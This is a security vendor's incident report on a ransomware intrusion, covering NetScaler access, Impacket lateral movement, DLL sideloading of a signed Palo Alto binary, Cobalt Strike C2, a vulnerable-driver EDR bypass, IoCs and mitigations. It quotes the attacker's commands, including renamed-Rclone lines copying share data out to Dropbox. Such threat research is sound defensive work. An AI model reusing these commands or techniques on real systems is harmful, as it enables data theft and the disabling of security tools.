In early September 2023, ReliaQuest detected suspicious process executions within a customer’s environment, originating from the Windows debug directory. Our subsequent investigation revealed these executions as part of a more significant cyber-threat incident that resulted in double extortion: the encryption of customer data, followed by ransomware deployment and a threat to publicly release the data.
The attack pattern is noteworthy because the threat actor devoted considerable effort to avoiding detection via relatively sophisticated TTPs, including the abuse of a digitally signed and vulnerable Palo Alto Cortex XDR binary for execution via DLL sideloading, a BYOVD attack to hinder defensive measures by unhooking Endpoint Detection and Response (EDR), the use of Impacket, and the use of a renamed Rclone binary for exfiltration. In a BYOVD attack, an actor abuses the privileges provided to an otherwise legitimate, but vulnerable, driver to gain kernel-level access and disable or modify installed security tools.
This report details that activity so that security teams can become familiar with the TTPs. We also offer recommendations to avoid similar attacks in other environments.
Attack Path
Initial Access
ReliaQuest had limited visibility during this incident; a lack of east-west network traffic, operating system logs, and events from non-Windows devices made it difficult to determine the actor’s initial access point. Given the source of the lateral movement to the first device for which there were logs, we presume access was achieved by exploiting a vulnerability in NetScaler ADC: CVE-2023-3519. That vulnerability enables an unauthenticated attacker to execute arbitrary code on a vulnerable NetScaler appliance, providing initial access to the environment and a relatively straightforward path for access to Active Directory (AD) credentials and subsequent lateral movement to the rest of the domain.
This pattern of presumed exploitation aligns with the case studies presented by the US Cybersecurity and Infrastructure Security Agency (CISA).
ReliaQuest has observed the staging of tools and payloads within the same c:\windows\debug directory in several environments over the past year. The debug directory should typically only hold logs and crash dumps made by Windows as part of troubleshooting. For that reason, security teams can easily overlook it during an investigation or detection.
Lateral Movement
Unusually, the threat actor accessed a relatively small number of devices in this attack. An organizational acquisition had resulted in a relatively “flat” network, which required minimal lateral movement to get from the network edge to critical domain infrastructure; it also enabled the threat actor to move quickly without needing to rotate tools, protocols, or user contexts.
The threat actor used Impacket’s wmiexec module to laterally move within the environment to target key devices—most notably, to a domain controller, [Domain-Controller01]. Using a privileged service account, [SvcAcct1] (presumably acquired from the compromised NetScaler appliance), the threat actor executed the following command:
cmd.exe /Q /c cd windows/debug 1> \\127.0.0.1\ADMIN$\__1693526401.246018 2>&1
We identified the above command as the result of using Impacket’s wmiexec module, based on two indicators: the redirection of command output to a file on the remote ADMIN$ share (the default share used), and the filename using the execution time as an epoch timestamp, 1693526401.246018. This is shown in wmiexec’s source below:
Figure 1: Snippet of wmiexec.py showing how remote commands are constructed
The above command is also notable as it indicates the attacker was working out of the directory at:
c:\windows\debug
Shortly thereafter, in the debug directory, the attacker ingressed a DLL, ntnativeapi.dll, and a binary, cyuserserver.exe, which, notably, was digitally signed by Palo Alto as a component of their Cortex XDR agent. Because Palo Alto’s Cortex XDR product was not used in this environment, the presence of a standalone component was regarded as suspicious.
Identical Impacket use leading to the same two file writes was performed on an additional device, [Win-Server]. This additional device became the staging point for command-and-control (C2) and eventual exfiltration
C2 Activity
Throughout our investigation, we saw the adversary establish C2 via a traditional in-memory C2 implant, but saw no indication of a secondary or redundant C2 channel. This is a departure from recent trends we have observed employed by RaaS affiliates, in which an attacker will take advantage of commercial remote monitoring and management (“RMM”) tools, such as TeamViewer or AnyDesk. The threat actor established their traditional C2 by abusing cyuserserver.exe to ultimately load a beacon into the memory of a Windows system process, avoiding traditional malware and protections, such as application control.
Performing open-source intelligence (OSINT) research into cyuserserver.exe revealed a valid signature from “Palo Alto Networks (Netherlands) B.V.” Analysis of the binary’s behavior in this incident showed that the cyuserserver.exe process loaded the threat actor’s ntnativeapi.dll library from the same directory (c:\windows\debug). OSINT results for the ntnativeapi.dll file did not return a valid signature or product information. Because the DLL had no indication of being a legitimate component and was explicitly ingressed, we determined, with high confidence, that cyuserserver.exe was abused for execution via DLL sideloading.
Figure 2: Visualization of a component of the kill chain, in which the threat actor ingresses their DLL payload and a Palo Alto binary, executes via DLL sideloading, and injects a C2 implant into dllhost.exe
DLL sideloading works by positioning a malicious payload within the same directory as the targeted vulnerable application. Because an application will first search for any required DLLs within its own directory prior to searching in additional locations, a malicious payload in the same directory will be executed in lieu of the legitimate DLL.
Through this technique, the attacker was able to execute their payload under the context of an otherwise legitimate process.
Within 12 hours of ReliaQuest identifying the cyuserserver.exe binary being abused, we disclosed the vulnerability to Palo Alto’s Product Security Incident Response Team. That team affirmed that abuse of the sideloading vulnerability described would be prevented on devices with a Cortex XDR agent installed, owing to protections offered by the product. The team also noted that a product enhancement would address the DLL sideloading issue in the next release of the binary, which is estimated for February 2024.
Shortly after the cyuserserver.exe file was written to [Win-Server], it was executed via a scheduled task. The result was a dllhost.exe process being created, then injected into, and, ultimately, establishing a connection to a Cobalt Strike team server hosted at 45.77.120[.]140 (api.whitelrose[.]com).
Tool ingress is not uncommon, but the decision to use a signed binary from a security tool to execute a malicious DLL—rather than use more common Living off the Land binaries and scripts—is unusual. It indicates an intentional and sophisticated choice to avoid common detection methods for maximum effectiveness, despite the additional level of effort required. It also raises the question of whether the threat actor discovered the sideloading vulnerability or purchased it.
C2 Infrastructure Analysis
Initial OSINT research into the IP address revealed reports of it hosting a C2 server for Sliver, an open-source alternative to Cobalt Strike. Reviewing the Secure Sockets Layer (SSL) certificate associated with the IP address showed that the common name (CN) was *.aliyun[.]com. That CN is associated with the default self-signed certificate for RedGuard, an open-source C2 front flow control tool.
Figure 3: Screenshot of the SSL certificate from the C2 infrastructure of api.whitelrose[.]com
Figure 4: Screenshot of the default certificate from the RedGuard GitHub repository
RedGuard enables an attacker to conceal their C2 infrastructure by providing a flow-control function, thereby enabling them to avoid unwanted traffic analysis. An attacker who is conscientious about their operational security (OPSEC) could deny or redirect traffic from known sandboxes and scanners, only allow traffic from certain countries, or limit connections to the external addresses of the devices where they have achieved a foothold.
In this case, despite the threat actor deploying their infrastructure to take advantage of a flow-control mechanism for enhanced OPSEC options, the use of a default certificate (rather than configuring RedGuard appropriately) leaves the maturity of the threat actor unclear.
Review of RedGuard’s source code showed only explicit support for Cobalt Strike. Artifacts from the device could not be obtained, but, based on the limited RedGuard support and the fact that dllhost.exe is a common Cobalt Strike spawn-to, we attributed the IP address 45.77.120[.]140 to a Cobalt Strike team server.
Figure 5: Screenshot of RedGuard code snippet showing explicit support for Cobalt Strike
Exfiltration
For exfiltration, the threat actor took advantage of Rclone, a commercial data transfer tool designed for managing and migrating content between local and cloud storage. Rclone has become a popular utility for its ease of access (freeware), high level of configurability, and support for multi-threaded transfers, allowing data to be exfiltrated quickly.
OSINT on the masquerading Rclone binary’s associated hash revealed no associated signature or product information. This indicates that the threat actor potentially broke the signature of the Rclone binary to avoid any potential detections. By renaming the Rclone binary and removing the digital signature(s) and product information, the attacker intended to avoid static detection and weak or non-existent application control policies.
An Rclone configuration file typically contains information that helps identify the target for exfiltrated data, such as the name of the remote storage system, the type of storage system (e.g., Dropbox, MEGA), the client ID/secret used to initially authenticate to the storage system, and the access token used for subsequent authentication. In this incident, the Rclone configuration file could not be obtained before it was deleted from the disk.
The C2 implant on [Win-Server] was used to download an Rclone binary renamed firefox.exe and an Rclone configuration file, rclone.conf, in the directory:
c:\windows\debug\
At this point, the actor used the renamed Rclone binary on [Win-Server] to execute the following commands:
c:\windows\debug\firefox.exe copy \\[File-Server]\A$\[SensitiveData1 storagesite:ExfiltratedDataFolder]
c:\windows\debug\firefox.exe copy \\[File-Server]\B$\[SensitiveData1 storagesite:ExfiltratedDataFolder]
The threat actor used the Rclone flag “copy” to copy specified data on the hidden A$ and B$ shares on an accessible file server and upload that data to the remote storage system that was arbitrarily named storagesite.
The firefox.exe binary was seen resolving and connecting to dropboxapi[.]com, indicating that the threat actor used Dropbox for their remote storage system.
Defense Impairment
Prior to encryption, the threat actor had to disable existing endpoint protections, most notably an EDR sensor. To achieve this, they staged a secondary batch script payload, [tgsqd.bat], in the netlogon directory on the compromised domain controller—a directory typically used for group policy login script files.
When a user session was initiated on a domain-joined device, the secondary payload would execute with the end goal of disabling the EDR sensor on the endpoint:
cmd /c “\\[Domain-Controller01]\netlogon\[tgsqd.bat]”
When [tgsqd.bat] executed, a second randomly named payload, [ldjxy.txt], was copied from the same netlogon directory before having its extension changed from “.txt” to “.exe”, and being copied and executed within the following directory:
c:\windows\temp\
Upon execution, the newly copied [ldjxy.exe] created a new file of significance, [vulnerable-driver.sys]. OSINT on [vulnerable-driver.sys] revealed a valid digital signature from IObit, and an original file name: IObitUnlocker.sys. The driver is regarded as vulnerable and cited by Microsoft in the company’s recommended rules for explicit driver blocks.
The function of the [ldjxy.exe] file was to drop and load [vulnerable-driver.sys], which would operate in the kernel. Kernel-mode drivers operate at the Ring 0 level, allocating the highest privilege within the operating system. The driver would grant direct access to critical memory, CPU, and I/O operations, which underpin most core OS functions (including use of security tools).
By loading [vulnerable-driver.sys], the threat actor could exploit its vulnerability to disable protective drivers or other Ring 0 security tools—in this case, the EDR agents installed on the affected devices. With the EDR sensors disabled, the threat actor could begin encryption. Additionally, given that the threat actor had already gained access to a domain controller and control of a privileged service account, they had the necessary access for deployment and execution of ransomware.
The threat actor’s choice to take the time required to execute multiple steps that would further evade defenses and disable endpoint protection is not a common choice at this stage of an attack; many attackers would opt to simply deploy their encryptor. This threat actor’s methodical plan of action demonstrates operational sophistication and the effectiveness of BYOVD, although flawed by the OPSEC mistake made regarding default templates used by RedGuard.
Threat Forecast
We predict, with high confidence, that threat actors will continue to use the BYOVD technique into the long-term future (beyond one year). BYOVD has been proven to be an effective way to combat the prevalence of EDR tools. Masquerading processes used to bypass static detections will also probably continue to be another very common technique to exploit an environment unnoticed. Should organizations not adequately mitigate these techniques, there is a high probability they will be used by threat actors operating undetected to deploy ransomware and potentially commit double extortion.
Recommendations and Best Practices
The ReliaQuest Threat Research Team offers the following recommendations and best practices to establish a secure foundation against the general threats and TTPs mentioned in this report.
Restricting Access to Abused Commercial Services
We frequently see threat actors taking advantage of commercial services because they can often bypass reputation-based controls, and organizations are hesitant to block such services. In this incident we saw the abuse of Dropbox for data exfiltration, although cloud storage is both popular and effective for exfiltration.
By establishing which services are legitimately in use, organizations can implement categorical restrictions via their DNS or proxy, reducing the attack surface available and shifting the burden back to the threat actor.
Expanding Logging and Visibility
Organizations can only act on what they can see within their environment. It is crucial to ensure that critical infrastructure and the wider environment are forwarding activity logs to a unified location. This will enable security teams to implement correlation-based detection rules and investigate suspicious events thoroughly.
In this incident, most of the visibility came from EDR sensors, leaving blind spots before the threat actor moved to a monitored device, and across the environment once the threat actor was able to unhook the EDR.
Explicitly Blocking Vulnerable Drivers
Driver-based attacks have presented an ongoing threat to Windows systems. With Microsoft blocking the load of unsigned kernel-mode drivers in 64-bit Vista and later versions, threat actors have begun introducing signed-but-vulnerable drivers to execute malware.
Windows provides protection options out of the box, including blocking drivers upon being written via attack surface reduction rules, and specific guidance for mitigating abuse of known vulnerable drivers via Windows Defender Application control.
The indicators of compromise (IoCs) listed in the following table are associated with the infrastructure and tools used by the attacker in this incident. ReliaQuest maintains lists of IoCs and detection rules that can quickly be deployed across customer environments.
IOC Type | Value | Attribution |
---|---|---|
IP Address | 45.77.120[.]140 | Cobalt Strike team server – resolved from api.whitelrose[.]com |
Domain | api.whitelrose[.]com | Cobalt Strike team server |
SHA256 | d3eae40d08a9ed0306b142a9abad40b6 15201515af35581b7a0585e334ad43f4 | ntnativeapi.dll |
SHA256 | f6b3cc9e3af99106ae3262ea360c0c51ea 6c8341270fdae47bb5ea4655eb4853 | cyuserserver.exe |
SHA256 | 966256acc79eb07799262c376a73331b 5675591d61e3315cc15b2d6dcccb3a00 | Renamed Rclone binary |
SHA256 | 20398192fbef1924202a82fcd3459ef90 1999cebed02ead665c1f9a5087016a8 | Renamed IObitUnlocker.sys driver |